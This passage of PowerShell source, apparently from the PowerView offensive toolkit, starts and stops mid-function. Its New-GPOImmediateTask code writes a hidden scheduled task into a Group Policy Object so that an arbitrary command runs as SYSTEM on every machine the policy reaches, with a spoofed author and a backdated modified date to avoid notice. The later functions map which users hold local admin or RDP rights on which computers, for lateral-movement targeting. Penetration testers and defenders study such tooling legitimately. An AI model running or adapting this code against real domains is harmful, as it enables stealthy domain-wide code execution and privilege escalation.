6453 Name for the schtask to recreate. Required.
6454
6455 .PARAMETER Command
6456
6457 The command to execute with the task, defaults to 'powershell'
6458
6459 .PARAMETER CommandArguments
6460
6461 The arguments to supply to the -Command being launched.
6462
6463 .PARAMETER TaskDescription
6464
6465 An optional description for the task.
6466
6467 .PARAMETER TaskAuthor
6468
6469 The displayed author of the task, defaults to ''NT AUTHORITY\System'
6470
6471 .PARAMETER TaskModifiedDate
6472
6473 The displayed modified date for the task, defaults to 30 days ago.
6474
6475 .PARAMETER GPOname
6476
6477 The GPO name to build the task for.
6478
6479 .PARAMETER GPODisplayName
6480
6481 The GPO display name to build the task for.
6482
6483 .PARAMETER Domain
6484
6485 The domain to query for the GPOs, defaults to the current domain.
6486
6487 .PARAMETER DomainController
6488
6489 Domain controller to reflect LDAP queries through.
6490
6491 .PARAMETER ADSpath
6492
6493 The LDAP source to search through
6494 e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
6495
6496 .PARAMETER Credential
6497
6498 A [Management.Automation.PSCredential] object of alternate credentials
6499 for connection to the target.
6500
6501 .EXAMPLE
6502
6503 PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force
6504
6505 Create an immediate schtask that executes the specified PowerShell arguments and
6506 push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt.
6507
6508 .EXAMPLE
6509
6510 PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force
6511
6512 Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt.
6513#>
6514 [CmdletBinding(DefaultParameterSetName = 'Create')]
6515 Param (
6516 [Parameter(ParameterSetName = 'Create', Mandatory = $True)]
6517 [String]
6518 [ValidateNotNullOrEmpty()]
6519 $TaskName,
6520
6521 [Parameter(ParameterSetName = 'Create')]
6522 [String]
6523 [ValidateNotNullOrEmpty()]
6524 $Command = 'powershell',
6525
6526 [Parameter(ParameterSetName = 'Create')]
6527 [String]
6528 [ValidateNotNullOrEmpty()]
6529 $CommandArguments,
6530
6531 [Parameter(ParameterSetName = 'Create')]
6532 [String]
6533 [ValidateNotNullOrEmpty()]
6534 $TaskDescription = '',
6535
6536 [Parameter(ParameterSetName = 'Create')]
6537 [String]
6538 [ValidateNotNullOrEmpty()]
6539 $TaskAuthor = 'NT AUTHORITY\System',
6540
6541 [Parameter(ParameterSetName = 'Create')]
6542 [String]
6543 [ValidateNotNullOrEmpty()]
6544 $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),
6545
6546 [Parameter(ParameterSetName = 'Create')]
6547 [Parameter(ParameterSetName = 'Remove')]
6548 [String]
6549 $GPOname,
6550
6551 [Parameter(ParameterSetName = 'Create')]
6552 [Parameter(ParameterSetName = 'Remove')]
6553 [String]
6554 $GPODisplayName,
6555
6556 [Parameter(ParameterSetName = 'Create')]
6557 [Parameter(ParameterSetName = 'Remove')]
6558 [String]
6559 $Domain,
6560
6561 [Parameter(ParameterSetName = 'Create')]
6562 [Parameter(ParameterSetName = 'Remove')]
6563 [String]
6564 $DomainController,
6565
6566 [Parameter(ParameterSetName = 'Create')]
6567 [Parameter(ParameterSetName = 'Remove')]
6568 [String]
6569 $ADSpath,
6570
6571 [Parameter(ParameterSetName = 'Create')]
6572 [Parameter(ParameterSetName = 'Remove')]
6573 [Switch]
6574 $Force,
6575
6576 [Parameter(ParameterSetName = 'Remove')]
6577 [Switch]
6578 $Remove,
6579
6580 [Parameter(ParameterSetName = 'Create')]
6581 [Parameter(ParameterSetName = 'Remove')]
6582 [Management.Automation.PSCredential]
6583 $Credential
6584 )
6585
6586 # build the XML spec for our 'immediate' scheduled task
6587 $TaskXML = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$([guid]::NewGuid())+'}" userContext="0" removePolicy="0"><Properties action="C" name="'+$TaskName+'" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>'
6588
6589 if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) {
6590 Write-Warning 'Either -GPOName or -GPODisplayName must be specified'
6591 return
6592 }
6593
6594 # eunmerate the specified GPO(s)
6595 $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential
6596
6597 if(!$GPOs) {
6598 Write-Warning 'No GPO found.'
6599 return
6600 }
6601
6602 $GPOs | ForEach-Object {
6603 $ProcessedGPOName = $_.Name
6604 try {
6605 Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName"
6606
6607 # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :(
6608 if($Credential) {
6609 Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\"
6610 $Path = $_.gpcfilesyspath.TrimEnd('\')
6611 $Net = New-Object -ComObject WScript.Network
6612 $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
6613 $TaskPath = "N:\Machine\Preferences\ScheduledTasks\"
6614 }
6615 else {
6616 $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\"
6617 }
6618
6619 if($Remove) {
6620 if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) {
6621 Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml"
6622 }
6623
6624 if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) {
6625 return
6626 }
6627
6628 Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force
6629 }
6630 else {
6631 if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) {
6632 return
6633 }
6634
6635 # create the folder if it doesn't exist
6636 $Null = New-Item -ItemType Directory -Force -Path $TaskPath
6637
6638 if(Test-Path "$TaskPath\ScheduledTasks.xml") {
6639 Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !"
6640 }
6641
6642 $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml"
6643 }
6644
6645 if($Credential) {
6646 Write-Verbose "Removing mounted drive at N:\"
6647 $Net = New-Object -ComObject WScript.Network
6648 $Net.RemoveNetworkDrive("N:")
6649 }
6650 }
6651 catch {
6652 Write-Warning "Error for GPO $ProcessedGPOName : $_"
6653 if($Credential) {
6654 Write-Verbose "Removing mounted drive at N:\"
6655 $Net = New-Object -ComObject WScript.Network
6656 $Net.RemoveNetworkDrive("N:")
6657 }
6658 }
6659 }
6660}
6661
6662
6663function Get-NetGPOGroup {
6664<#
6665 .SYNOPSIS
6666
6667 Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines.
6668
6669 Author: @harmj0y
6670 License: BSD 3-Clause
6671 Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName
6672 Optional Dependencies: None
6673
6674 .DESCRIPTION
6675
6676 First enumerates all GPOs in the current/target domain using Get-NetGPO with passed
6677 arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
6678 group membership is set through Group Policy Preferences groups.xml files. For any
6679 GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
6680 section data is processed if present. Any found Groups.xml files are parsed with
6681 Get-GroupsXML and those memberships are returned as well.
6682
6683 .PARAMETER GPOname
6684
6685 The GPO name (GUID) to query for, wildcards accepted.
6686
6687 .PARAMETER DisplayName
6688
6689 The GPO display name to query for, wildcards accepted.
6690
6691 .PARAMETER Domain
6692
6693 The domain to query for GPOs, defaults to the current domain.
6694
6695 .PARAMETER DomainController
6696
6697 Domain controller to reflect LDAP queries through.
6698
6699 .PARAMETER ADSpath
6700
6701 The LDAP source to search through for GPOs.
6702 e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
6703
6704 .PARAMETER ResolveMemberSIDs
6705
6706 Switch. Try to resolve the SIDs of all found group members.
6707
6708 .PARAMETER UsePSDrive
6709
6710 Switch. Mount any found policy files with temporary PSDrives.
6711
6712 .PARAMETER PageSize
6713
6714 The PageSize to set for the LDAP searcher object.
6715
6716 .EXAMPLE
6717
6718 PS C:\> Get-NetGPOGroup
6719
6720 Returns all local groups set by GPO along with their members and memberof.
6721
6722 .EXAMPLE
6723
6724 PS C:\> Get-NetGPOGroup -ResolveMemberSIDs
6725
6726 Returns all local groups set by GPO along with their members and memberof,
6727 and resolve any members to their domain SIDs.
6728
6729 .EXAMPLE
6730
6731 PS C:\> Get-NetGPOGroup -GPOName '{0847C615-6C4E-4D45-A064-6001040CC21C}'
6732
6733 Return any GPO-set groups for the GPO with the given name/GUID.
6734
6735 .EXAMPLE
6736
6737 PS C:\> Get-NetGPOGroup -DisplayName 'Desktops'
6738
6739 Return any GPO-set groups for the GPO with the given display name.
6740
6741 .LINK
6742
6743 https://morgansimonsenblog.azurewebsites.net/tag/groups/
6744#>
6745
6746 [CmdletBinding()]
6747 Param (
6748 [String]
6749 $GPOname = '*',
6750
6751 [String]
6752 $DisplayName,
6753
6754 [String]
6755 $Domain,
6756
6757 [String]
6758 $DomainController,
6759
6760 [String]
6761 $ADSpath,
6762
6763 [Switch]
6764 $ResolveMemberSIDs,
6765
6766 [Switch]
6767 $UsePSDrive,
6768
6769 [ValidateRange(1,10000)]
6770 [Int]
6771 $PageSize = 200
6772 )
6773
6774 $Option = [System.StringSplitOptions]::RemoveEmptyEntries
6775
6776 # get every GPO from the specified domain with restricted groups set
6777 Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {
6778
6779 $GPOdisplayName = $_.displayname
6780 $GPOname = $_.name
6781 $GPOPath = $_.gpcfilesyspath
6782
6783 $ParseArgs = @{
6784 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
6785 'UsePSDrive' = $UsePSDrive
6786 }
6787
6788 # parse the GptTmpl.inf 'Restricted Groups' file if it exists
6789 $Inf = Get-GptTmpl @ParseArgs
6790
6791 if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
6792
6793 $Memberships = @{}
6794
6795 # group the members/memberof fields for each entry
6796 ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
6797 $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()}
6798
6799 # extract out ALL members
6800 $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
6801
6802 if($ResolveMemberSIDs) {
6803 # if the resulting member is username and not a SID, attempt to resolve it
6804 $GroupMembers = @()
6805 ForEach($Member in $MembershipValue) {
6806 if($Member -and ($Member.Trim() -ne '')) {
6807 if($Member -notmatch '^S-1-.*') {
6808 $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
6809 if($MemberSID) {
6810 $GroupMembers += $MemberSID
6811 }
6812 else {
6813 $GroupMembers += $Member
6814 }
6815 }
6816 else {
6817 $GroupMembers += $Member
6818 }
6819 }
6820 }
6821 $MembershipValue = $GroupMembers
6822 }
6823
6824 if(-not $Memberships[$Group]) {
6825 $Memberships[$Group] = @{}
6826 }
6827 if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
6828 $Memberships[$Group].Add($Relation, $MembershipValue)
6829 }
6830
6831 ForEach ($Membership in $Memberships.GetEnumerator()) {
6832 if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
6833 # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
6834 $GroupSID = $Membership.Key.Trim('*')
6835 if($GroupSID -and ($GroupSID.Trim() -ne '')) {
6836 $GroupName = Convert-SidToName -SID $GroupSID
6837 }
6838 else {
6839 $GroupName = $False
6840 }
6841 }
6842 else {
6843 $GroupName = $Membership.Key
6844
6845 if($GroupName -and ($GroupName.Trim() -ne '')) {
6846 if($Groupname -match 'Administrators') {
6847 $GroupSID = 'S-1-5-32-544'
6848 }
6849 elseif($Groupname -match 'Remote Desktop') {
6850 $GroupSID = 'S-1-5-32-555'
6851 }
6852 elseif($Groupname -match 'Guests') {
6853 $GroupSID = 'S-1-5-32-546'
6854 }
6855 elseif($GroupName.Trim() -ne '') {
6856 $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID
6857 }
6858 else {
6859 $GroupSID = $Null
6860 }
6861 }
6862 }
6863
6864 $GPOGroup = New-Object PSObject
6865 $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
6866 $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
6867 $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
6868 $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
6869 $GPOGroup | Add-Member Noteproperty 'Filters' $Null
6870 $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
6871 $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
6872 $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
6873 $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
6874 $GPOGroup
6875 }
6876 }
6877
6878 $ParseArgs = @{
6879 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
6880 'UsePSDrive' = $UsePSDrive
6881 }
6882
6883 Get-GroupsXML @ParseArgs | ForEach-Object {
6884 if($ResolveMemberSIDs) {
6885 $GroupMembers = @()
6886 ForEach($Member in $_.GroupMembers) {
6887 if($Member -and ($Member.Trim() -ne '')) {
6888 if($Member -notmatch '^S-1-.*') {
6889 # if the resulting member is username and not a SID, attempt to resolve it
6890 $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
6891 if($MemberSID) {
6892 $GroupMembers += $MemberSID
6893 }
6894 else {
6895 $GroupMembers += $Member
6896 }
6897 }
6898 else {
6899 $GroupMembers += $Member
6900 }
6901 }
6902 }
6903 $_.GroupMembers = $GroupMembers
6904 }
6905
6906 $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
6907 $_ | Add-Member Noteproperty 'GPOName' $GPOName
6908 $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
6909 $_
6910 }
6911 }
6912}
6913
6914
6915function Find-GPOLocation {
6916<#
6917 .SYNOPSIS
6918
6919 Enumerates the machines where a specific user/group is a member of a specific
6920 local group, all through GPO correlation.
6921
6922 Author: @harmj0y
6923 License: BSD 3-Clause
6924 Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite
6925 Optional Dependencies: None
6926
6927 .DESCRIPTION
6928
6929 Takes a user/group name and optional domain, and determines the computers in the domain
6930 the user/group has local admin (or RDP) rights to.
6931
6932 It does this by:
6933 1. resolving the user/group to its proper SID
6934 2. enumerating all groups the user/group is a current part of
6935 and extracting all target SIDs to build a target SID list
6936 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
6937 Get-NetGPOGroup
6938 4. matching the target SID list to the queried GPO SID list
6939 to enumerate all GPO the user is effectively applied with
6940 5. enumerating all OUs and sites and applicable GPO GUIs are
6941 applied to through gplink enumerating
6942 6. querying for all computers under the given OUs or sites
6943
6944 If no user/group is specified, all user/group -> machine mappings discovered through
6945 GPO relationships are returned.
6946
6947 .PARAMETER UserName
6948
6949 A (single) user name name to query for access.
6950
6951 .PARAMETER GroupName
6952
6953 A (single) group name name to query for access.
6954
6955 .PARAMETER Domain
6956
6957 Optional domain the user exists in for querying, defaults to the current domain.
6958
6959 .PARAMETER DomainController
6960
6961 Domain controller to reflect LDAP queries through.
6962
6963 .PARAMETER LocalGroup
6964
6965 The local group to check access against.
6966 Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
6967 or a custom local SID. Defaults to local 'Administrators'.
6968
6969 .PARAMETER UsePSDrive
6970
6971 Switch. Mount any found policy files with temporary PSDrives.
6972
6973 .PARAMETER PageSize
6974
6975 The PageSize to set for the LDAP searcher object.
6976
6977 .EXAMPLE
6978
6979 PS C:\> Find-GPOLocation
6980
6981 Find all user/group -> machine relationships where the user/group is a member
6982 of the local administrators group on target machines.
6983
6984 .EXAMPLE
6985
6986 PS C:\> Find-GPOLocation -UserName dfm
6987
6988 Find all computers that dfm user has local administrator rights to in
6989 the current domain.
6990
6991 .EXAMPLE
6992
6993 PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local
6994
6995 Find all computers that dfm user has local administrator rights to in
6996 the dev.testlab.local domain.
6997
6998 .EXAMPLE
6999
7000 PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP
7001
7002 Find all computers that jason has local RDP access rights to in the domain.
7003#>
7004
7005 [CmdletBinding()]
7006 Param (
7007 [String]
7008 $UserName,
7009
7010 [String]
7011 $GroupName,
7012
7013 [String]
7014 $Domain,
7015
7016 [String]
7017 $DomainController,
7018
7019 [String]
7020 $LocalGroup = 'Administrators',
7021
7022 [Switch]
7023 $UsePSDrive,
7024
7025 [ValidateRange(1,10000)]
7026 [Int]
7027 $PageSize = 200
7028 )
7029
7030 if($UserName) {
7031 # if a group name is specified, get that user object so we can extract the target SID
7032 $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1
7033 $UserSid = $User.objectsid
7034
7035 if(-not $UserSid) {
7036 Throw "User '$UserName' not found!"
7037 }
7038
7039 $TargetSIDs = @($UserSid)
7040 $ObjectSamAccountName = $User.samaccountname
7041 $TargetObject = $UserSid
7042 }
7043 elseif($GroupName) {
7044 # if a group name is specified, get that group object so we can extract the target SID
7045 $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1
7046 $GroupSid = $Group.objectsid
7047
7048 if(-not $GroupSid) {
7049 Throw "Group '$GroupName' not found!"
7050 }
7051
7052 $TargetSIDs = @($GroupSid)
7053 $ObjectSamAccountName = $Group.samaccountname
7054 $TargetObject = $GroupSid
7055 }
7056 else {
7057 $TargetSIDs = @('*')
7058 }
7059
7060 # figure out what the SID is of the target local group we're checking for membership in
7061 if($LocalGroup -like "*Admin*") {
7062 $TargetLocalSID = 'S-1-5-32-544'
7063 }
7064 elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) {
7065 $TargetLocalSID = 'S-1-5-32-555'
7066 }
7067 elseif ($LocalGroup -like "S-1-5-*") {
7068 $TargetLocalSID = $LocalGroup
7069 }
7070 else {
7071 throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format."
7072 }
7073
7074 # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to
7075 # get all effective security SIDs this object is a part of
7076 if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) {
7077 $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids
7078 }
7079
7080 if(-not $TargetSIDs) {
7081 throw "No effective target SIDs!"
7082 }
7083
7084 Write-Verbose "TargetLocalSID: $TargetLocalSID"
7085 Write-Verbose "Effective target SIDs: $TargetSIDs"
7086
7087 $GPOGroupArgs = @{
7088 'Domain' = $Domain
7089 'DomainController' = $DomainController
7090 'UsePSDrive' = $UsePSDrive
7091 'ResolveMemberSIDs' = $True
7092 'PageSize' = $PageSize
7093 }
7094
7095 # enumerate all GPO group mappings for the target domain that involve our target SID set
7096 $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
7097
7098 $GPOgroup = $_
7099
7100 # if the locally set group is what we're looking for, check the GroupMembers ('members')
7101 # for our target SID
7102 if($GPOgroup.GroupSID -match $TargetLocalSID) {
7103 $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
7104 if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
7105 $GPOgroup
7106 }
7107 }
7108 }
7109 # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
7110 if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
7111 if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
7112 $GPOgroup
7113 }
7114 }
7115 } | Sort-Object -Property GPOName -Unique
7116
7117 $GPOgroups | ForEach-Object {
7118
7119 $GPOname = $_.GPODisplayName
7120 $GPOguid = $_.GPOName
7121 $GPOPath = $_.GPOPath
7122 $GPOType = $_.GPOType
7123 if($_.GroupMembers) {
7124 $GPOMembers = $_.GroupMembers
7125 }
7126 else {
7127 $GPOMembers = $_.GroupSID
7128 }
7129
7130 $Filters = $_.Filters
7131
7132 if(-not $TargetObject) {
7133 # if the * wildcard was used, set the ObjectDistName as the GPO member SID set
7134 # so all relationship mappings are output
7135 $TargetObjectSIDs = $GPOMembers
7136 }
7137 else {
7138 $TargetObjectSIDs = $TargetObject
7139 }
7140
7141 # find any OUs that have this GUID applied and then retrieve any computers from the OU
7142 Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {
7143 if($Filters) {
7144 # filter for computer name/org unit if a filter is specified
7145 # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP...
7146 $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {
7147 $_.adspath -match ($Filters.Value)
7148 } | ForEach-Object { $_.dnshostname }
7149 }
7150 else {
7151 $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize
7152 }
7153
7154 if($OUComputers) {
7155 if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
7156
7157 ForEach ($TargetSid in $TargetObjectSIDs) {
7158 $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
7159
7160 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
7161
7162 $GPOLocation = New-Object PSObject
7163 $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
7164 $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
7165 $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
7166 $GPOLocation | Add-Member Noteproperty 'Domain' $Domain
7167 $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup
7168 $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname
7169 $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid
7170 $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath
7171 $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType
7172 $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
7173 $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers
7174 $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
7175 $GPOLocation
7176 }
7177 }
7178 }
7179
7180 # find any sites that have this GUID applied
7181 Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {
7182
7183 ForEach ($TargetSid in $TargetObjectSIDs) {
7184 $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
7185
7186 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
7187
7188 $AppliedSite = New-Object PSObject
7189 $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
7190 $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
7191 $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
7192 $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup
7193 $AppliedSite | Add-Member Noteproperty 'Domain' $Domain
7194 $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname
7195 $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid
7196 $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath
7197 $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType
7198 $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
7199 $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
7200 $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
7201 $AppliedSite
7202 }
7203 }
7204 }
7205}
7206
7207
7208function Find-GPOComputerAdmin {
7209<#
7210 .SYNOPSIS
7211
7212 Takes a computer (or GPO) object and determines what users/groups are in the specified
7213 local group for the machine.
7214
7215 Author: @harmj0y
7216 License: BSD 3-Clause
7217 Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName
7218 Optional Dependencies: None
7219
7220 .DESCRIPTION
7221
7222 If a -ComputerName is specified, retrieve the complete computer object, attempt to
7223 determine the OU the computer is a part of. Then resolve the computer's site name with
7224 Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to
7225 enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For
7226 each resulting GPO group, resolve the resulting user/group name to a full AD object and
7227 return the results. This will return the domain objects that are members of the specified
7228 -LocalGroup for the given computer.
7229
7230 Inverse of Find-GPOLocation.
7231
7232 .PARAMETER ComputerName
7233
7234 The computer to determine local administrative access to.
7235
7236 .PARAMETER OUName
7237
7238 OU name to determine who has local adminisrtative acess to computers
7239 within it.
7240
7241 .PARAMETER Domain
7242
7243 Optional domain the computer/OU exists in, defaults to the current domain.
7244
7245 .PARAMETER DomainController
7246
7247 Domain controller to reflect LDAP queries through.
7248
7249 .PARAMETER Recurse
7250
7251 Switch. If a returned member is a group, recurse and get all members.
7252
7253 .PARAMETER LocalGroup
7254
7255 The local group to check access against.
7256 Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
7257 or a custom local SID.
7258 Defaults to local 'Administrators'.
7259
7260 .PARAMETER UsePSDrive
7261
7262 Switch. Mount any found policy files with temporary PSDrives.
7263
7264 .PARAMETER PageSize
7265
7266 The PageSize to set for the LDAP searcher object.
7267
7268 .EXAMPLE
7269
7270 PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local
7271
7272 Finds users who have local admin rights over WINDOWS3 through GPO correlation.
7273
7274 .EXAMPLE
7275
7276 PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP
7277
7278 Finds users who have RDP rights over WINDOWS3 through GPO correlation.
7279#>
7280
7281 [CmdletBinding()]
7282 Param (
7283 [Parameter(ValueFromPipeline=$True)]
7284 [String]
7285 $ComputerName,
7286
7287 [String]
7288 $OUName,
7289
7290 [String]
7291 $Domain,
7292
7293 [String]
7294 $DomainController,
7295
7296 [Switch]
7297 $Recurse,
7298
7299 [String]
7300 $LocalGroup = 'Administrators',
7301
7302 [Switch]
7303 $UsePSDrive,
7304
7305 [ValidateRange(1,10000)]
7306 [Int]
7307 $PageSize = 200
7308 )
7309
7310 process {
7311
7312 if(!$ComputerName -and !$OUName) {
7313 Throw "-ComputerName or -OUName must be provided"
7314 }
7315
7316 $GPOGroups = @()
7317
7318 if($ComputerName) {
7319 $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
7320
7321 if(!$Computers) {
7322 throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
7323 }
7324
7325 $TargetOUs = @()
7326 ForEach($Computer in $Computers) {
